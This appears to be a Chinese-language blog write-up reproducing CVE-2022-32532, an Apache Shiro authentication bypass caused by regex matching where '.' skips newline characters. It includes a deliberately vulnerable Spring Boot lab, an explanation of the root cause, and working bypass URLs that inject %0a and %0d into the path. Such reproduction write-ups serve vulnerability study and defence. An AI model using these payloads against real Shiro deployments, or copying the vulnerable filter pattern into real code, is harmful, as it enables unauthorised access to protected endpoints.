CVE-2022-32532漏洞复现

漏洞介绍

CVE-2022-32532是一个Apache Shiro 权限绕过漏洞，当 Apache Shiro 中使用 RegexRequestMatcher 进行权限配置，
且正则表达式中携带“.”时，构造特定的payload，可以实现绕过身份认证。

环境搭建

漏洞复现的环境使用的是4ra1n师傅在GitHub上的漏洞环境

https://github.com/Lay0us1/CVE-2022-32532

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.0</version>
        <relativePath/>
    </parent>
    <groupId>com.example</groupId>
    <artifactId>shiro-demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>shiro-demo</name>
    <description>CVE-2022-32532</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-spring</artifactId>
            <version>1.9.0</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

ShiroConfig

用来配置apache shiro的一个类

package com.example.shirodemo;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class ShiroConfig {
    @Bean
    public SecurityManager securityManager() {
        return new DefaultWebSecurityManager();
    }
    @Bean
    public MyShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) {
        MyShiroFilterFactoryBean shiroFilterFactoryBean = new MyShiroFilterFactoryBean();
        shiroFilterFactoryBean.setSecurityManager(securityManager);
        return shiroFilterFactoryBean;
    }
}

MyShiroFilterFactoryBean

用来配置shiro使用的过滤方式

package com.example.shirodemo;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.util.RegExPatternMatcher;
import org.apache.shiro.web.filter.mgt.*;
import org.apache.shiro.web.mgt.WebSecurityManager;
import org.apache.shiro.web.servlet.AbstractShiroFilter;
public class MyShiroFilterFactoryBean extends ShiroFilterFactoryBean {
    public MyShiroFilterFactoryBean() {
        super();
    }
    @Override
    protected AbstractShiroFilter createInstance() {
        SecurityManager securityManager = this.getSecurityManager();
        FilterChainManager manager = new DefaultFilterChainManager();
        manager.addFilter("myFilter",new MyFilter());
        // my filter
        manager.addToChain("/permit/.*", "myFilter");
        // todo: add other filters
        PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
        chainResolver.setFilterChainManager(manager);
        // set RegExPatternMatcher
        chainResolver.setPathMatcher(new RegExPatternMatcher());
        return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
    }
    static class SpringShiroFilter extends AbstractShiroFilter {
        protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
            this.setSecurityManager(webSecurityManager);
            this.setFilterChainResolver(resolver);
        }
    }
}

MyFilter

package com.example.shirodemo;
import org.apache.shiro.util.RegExPatternMatcher;
import org.apache.shiro.web.filter.AccessControlFilter;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class MyFilter extends AccessControlFilter {
    public MyFilter(){
        super();
        this.pathMatcher = new RegExPatternMatcher();
    }
    @Override
    protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {
        String token = ((HttpServletRequest)request).getHeader("Token");
        // todo: check permission ...
        return token != null && token.equals("4ra1n");
    }
    @Override
    protected boolean onAccessDenied(ServletRequest request, ServletResponse response) {
        System.out.println("deny -> "+((HttpServletRequest)request).getRequestURI());
        try {
            response.getWriter().println("access denied");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return false;
    }
}

DemoController

package com.example.shirodemo;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class DemoController {
    @RequestMapping(path = "/permit/{value}")
    public String permit(@PathVariable String value) {
        System.out.println("success!");
        return "success";
    }
    // Another Bypass
    // @RequestMapping(path = "/permit/*")
    public String permit() {
        System.out.println("success!");
        return "success";
    }
}

整个目录结构

漏洞核心分析：

1.RegExPatternMatcher()
2./permit/.*
当shiro使用RegExPatternMatcher()时候，就会使用正则表达式进行过滤，当你的过滤表达式为：/permit/.*时候，你可能想表达的
意思是/permit/目录下的全部子路径，但是在正则表达式中"."这个元字符，是不包括/r和/n的，也就是说，绕过/permit/后面的子目录
中存在/r或者/n，则就无法匹配上，从而实现了apache shiro的绕过

漏洞复现

利用上述环境，使用idea进行启动

访问/permit/fkalis，发现没有权限

尝试构造payload

http://192.168.2.8:8081/permit/%0afkalis
http://192.168.2.8:8081/permit/%0dfkalis
http://192.168.2.8:8081/permit/%0a%0dfkalis

成功绕过shiro的检验

在spring security中也有个类似的原理的漏洞，也是利用正则表达式处理的问题，从而可以实现绕过